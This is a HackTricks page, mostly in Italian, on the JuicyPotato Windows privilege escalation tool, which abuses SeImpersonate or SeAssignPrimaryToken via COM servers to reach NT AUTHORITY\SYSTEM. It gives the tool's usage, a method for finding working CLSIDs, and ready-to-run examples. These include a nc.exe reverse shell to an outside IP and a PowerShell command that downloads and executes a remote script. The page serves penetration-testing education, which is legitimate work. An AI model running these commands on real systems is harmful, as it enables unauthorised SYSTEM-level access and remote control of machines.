9.5 KiB
JuicyPotato
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
{% hint style="warning" %}
JuicyPotato non funziona su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, PrintSpoofer, RoguePotato, SharpEfsPotato possono essere utilizzati per sfruttare gli stessi privilegi e ottenere accesso a livello NT AUTHORITY\SYSTEM
. Controlla:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (abusing the golden privileges)
Versione zuccherata di RottenPotatoNG, con un po' di succo, cioè un altro strumento di escalation dei privilegi locali, da un Windows Service Accounts a NT AUTHORITY\SYSTEM
Puoi scaricare juicypotato da https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Summary
RottenPotatoNG e le sue varianti sfruttano la catena di escalation dei privilegi basata sul BITS
servizio avendo il listener MiTM su 127.0.0.1:6666
e quando hai privilegi SeImpersonate
o SeAssignPrimaryToken
. Durante una revisione della build di Windows abbiamo trovato una configurazione in cui BITS
era intenzionalmente disabilitato e la porta 6666
era occupata.
Abbiamo deciso di armare RottenPotatoNG: Dì ciao a Juicy Potato.
Per la teoria, vedi Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM e segui la catena di link e riferimenti.
Abbiamo scoperto che, oltre a BITS
, ci sono diversi server COM che possiamo sfruttare. Devono solo:
- essere istanziabili dall'utente corrente, normalmente un "utente di servizio" che ha privilegi di impersonificazione
- implementare l'interfaccia
IMarshal
- essere eseguiti come un utente elevato (SYSTEM, Administrator, …)
Dopo alcuni test abbiamo ottenuto e testato un elenco esteso di CLSID interessanti su diverse versioni di Windows.
Juicy details
JuicyPotato ti consente di:
- Target CLSID scegli qualsiasi CLSID tu voglia. Qui puoi trovare l'elenco organizzato per OS.
- COM Listening port definisci la porta di ascolto COM che preferisci (invece della hardcoded 6666)
- COM Listening IP address collega il server a qualsiasi IP
- Process creation mode a seconda dei privilegi dell'utente impersonato puoi scegliere tra:
CreateProcessWithToken
(richiedeSeImpersonate
)CreateProcessAsUser
(richiedeSeAssignPrimaryToken
)entrambi
- Process to launch lancia un eseguibile o uno script se lo sfruttamento ha successo
- Process Argument personalizza gli argomenti del processo lanciato
- RPC Server address per un approccio furtivo puoi autenticarti a un server RPC esterno
- RPC Server port utile se vuoi autenticarti a un server esterno e il firewall blocca la porta
135
… - TEST mode principalmente per scopi di test, cioè testare i CLSID. Crea il DCOM e stampa l'utente del token. Vedi qui per il test
Usage
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Pensieri finali
Se l'utente ha i privilegi SeImpersonate
o SeAssignPrimaryToken
, allora sei SYSTEM.
È quasi impossibile prevenire l'abuso di tutti questi server COM. Potresti pensare di modificare i permessi di questi oggetti tramite DCOMCNFG
, ma buona fortuna, sarà una sfida.
La soluzione reale è proteggere gli account e le applicazioni sensibili che vengono eseguiti sotto gli account * SERVICE
. Fermare DCOM
inibirebbe certamente questo exploit, ma potrebbe avere un impatto serio sul sistema operativo sottostante.
Da: http://ohpe.it/juicy-potato/
Esempi
Nota: Visita questa pagina per un elenco di CLSID da provare.
Ottieni una shell inversa nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Avvia un nuovo CMD (se hai accesso RDP)
Problemi con CLSID
Spesso, il CLSID predefinito che JuicyPotato utilizza non funziona e l'exploit fallisce. Di solito, ci vogliono più tentativi per trovare un CLSID funzionante. Per ottenere un elenco di CLSID da provare per un sistema operativo specifico, dovresti visitare questa pagina:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Controllo dei CLSID
Prima, avrai bisogno di alcuni eseguibili oltre a juicypotato.exe.
Scarica Join-Object.ps1 e caricalo nella tua sessione PS, e scarica ed esegui GetCLSID.ps1. Quel script creerà un elenco di possibili CLSID da testare.
Poi scarica test_clsid.bat (cambia il percorso per l'elenco CLSID e per l'eseguibile juicypotato) ed eseguilo. Inizierà a provare ogni CLSID, e quando il numero di porta cambia, significherà che il CLSID ha funzionato.
Controlla i CLSID funzionanti utilizzando il parametro -c
Riferimenti
{% hint style="success" %}
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.